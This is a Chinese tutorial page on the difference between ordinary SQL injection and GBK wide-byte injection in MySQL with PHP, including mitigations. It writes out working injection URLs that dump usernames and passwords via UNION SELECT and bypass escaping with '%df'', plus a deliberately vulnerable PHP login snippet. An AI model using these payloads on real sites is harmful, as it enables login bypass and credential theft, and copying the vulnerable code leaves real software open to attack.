我的编程空间,编程开发者的网络收藏夹
学习永远不晚

MySQL中SQL的单字节注入与宽字节注入的区别

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

MySQL中SQL的单字节注入与宽字节注入的区别

这篇文章主要讲解了“MySQL中SQL的单字节注入与宽字节注入的区别”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“MySQL中SQL的单字节注入与宽字节注入的区别”吧!

一、单字节SQL注入

MYSQL的SQL注入已经由来已久,以下是普遍采用的注入步骤:

在GET参数上加一个/*或者#(mysql专有的注释),判断数据库是否是mysql,比如:
http://www.xxx.com.cn/article.php?id=1607 and 1=1/*

猜解某表的字段数,从order by 1一直更改到页面出错为止,就可以得到该表的字段数

注入URL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 order by 10#

对应的SQL:

select * from articles where id=1607 or 1=1 order by 10#….

使用该表和用户表进行关联查询,在文章列表里就可以看到用户名和密码了。当也要猜解用户表的表名和用户名、密码的字段名,比如上一步得到的字段数是5:

注入的URL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 union select  username,password,1,2,3 from user

对应的SQL:

select * from articles where id=1607 or 1=1  union select  username,password,1,2,3 from user

这样就可以在界面上看到用户名和密码了。

解决方法:

过滤数据:这并不是罗唆。在合适的地方使用良好的数据过滤,可以减小多数安全隐患,甚至可以消除其中的一部分。

将数据用括号包含:如果你的数据库允许(MySQL 允许),在 SQL 语句中,不论什么类型的数据都用单引号包含起来。

转义数据:一些合法的数据可能在无意中破坏 SQL 语句本身的格式。使用 mysql_escape_string() 或者所使用数据库提供的转移函数。如果没有提供这样的函数,addslashes() 也是不错的***选择。

二、宽字节注入

宽字节注入也是在最近的项目中发现的问题,大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ = %df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。比如:

<?$conn = mysql_connect(”localhost”,”root”,”2sdfxedd”);mysql_query(”SET NAMES ‘GBK’”);mysql_select_db(”test”,$conn);$user = mysql_escape_string($_GET['user']);$pass = mysql_escape_string($_GET['pass']);$sql = “select * from cms_user where username = ‘$user’ and password=’$pass’”;$result = mysql_query($sql,$conn);while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$rows[] = $row;}?>

则通过以下注入即可:
http://www.xxx.com/login.php?user=%df’%20or%201=1%20limit%201,1%23&pass=

对应的SQL是:

select * from cms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”

解决方法:就是在初始化连接和字符集之后,使用SET character_set_client=binary来设定客户端的字符集是二进制的。如:

mysql_query(”SET character_set_client=binary”);

感谢各位的阅读,以上就是“MySQL中SQL的单字节注入与宽字节注入的区别”的内容了,经过本文的学习后,相信大家对MySQL中SQL的单字节注入与宽字节注入的区别这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是编程网,小编将为大家推送更多相关知识点的文章,欢迎关注!

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

MySQL中SQL的单字节注入与宽字节注入的区别

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

MySQL中SQL的单字节注入与宽字节注入的区别

这篇文章主要讲解了“MySQL中SQL的单字节注入与宽字节注入的区别”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“MySQL中SQL的单字节注入与宽字节注入的区别”吧!一、单字节SQL注入M
2023-06-17

SQL宽字节注入是什么

本篇内容介绍了“SQL宽字节注入是什么”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!基础知识宽字节在了解宽字节注入之前,我们要了解一下什么是
2023-07-05

SQL注入宽字节注入由浅到深学习

这篇文章主要为大家介绍了SQL注入宽字节注入由浅到深学习,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
2023-02-24

在mysql中宽字节注入的示例分析

这篇文章将为大家详细讲解有关在mysql中宽字节注入的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。前言在mysql中,用于转义的函数有addslashes,mysql_real_escape_s
2023-06-17

Web中宽字节注入攻击原理的示例分析

这篇文章主要为大家展示了“Web中宽字节注入攻击原理的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“Web中宽字节注入攻击原理的示例分析”这篇文章吧。宽字节注入攻击宽字节注入攻击的测试地
2023-06-25

MySQL如何防止SQL注入并过滤SQL中注入的字符

本文介绍了MySQL防止SQL注入的技术,包括语句预处理、参数化查询、转义字符、白名单/黑名单、输入验证、存储过程/函数和安全配置。此外,还提供了MySQL过滤注入字符的方法,如mysql_real_escape_string()函数、PDO::quote()方法和正则表达式。最佳实践包括使用语句预处理、验证输入、限制特权和定期更新MySQL软件。
MySQL如何防止SQL注入并过滤SQL中注入的字符
2024-04-02

详解Java中字符流与字节流的区别

Java中字符流与字节流的区别1. 什么是流 Java中的流是对字节序列的抽象,我们可以想象有一个水管,只不过现在流动在水管中的不再是水,而是字节序列。和水流一样,Java中的流也具有一个“流动的方向”,通常可以从中读入一个字节序列的
2023-05-31

Java中的字节和字符输入流的简单介绍

本篇内容介绍了“Java中的字节和字符输入流的简单介绍”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!目录字节输出流OutputStream字
2023-06-20

图文详解Java中的字节输入与输出流

目录字节输入流字节输入流结构图FileInputStream类构造方法:常用读取方法:字节输出流字节输出流结构图:FileOutputStream类构造方法:常用写入方法:总结字节输入流java.io.InputStream抽象类是所有字节输入流的超类,将数据
2017-02-14

C#怎么处理和避免字符串中的SQL注入攻击

在C#中处理和避免字符串中的SQL注入攻击,可以采取以下几种方法:使用参数化查询:使用参数化查询可以帮助防止SQL注入攻击。通过将用户输入的值作为参数传递给查询语句,而不是将其直接拼接到SQL语句中,可以有效地避免注入攻击。string q
C#怎么处理和避免字符串中的SQL注入攻击
2024-04-28

编程热搜

目录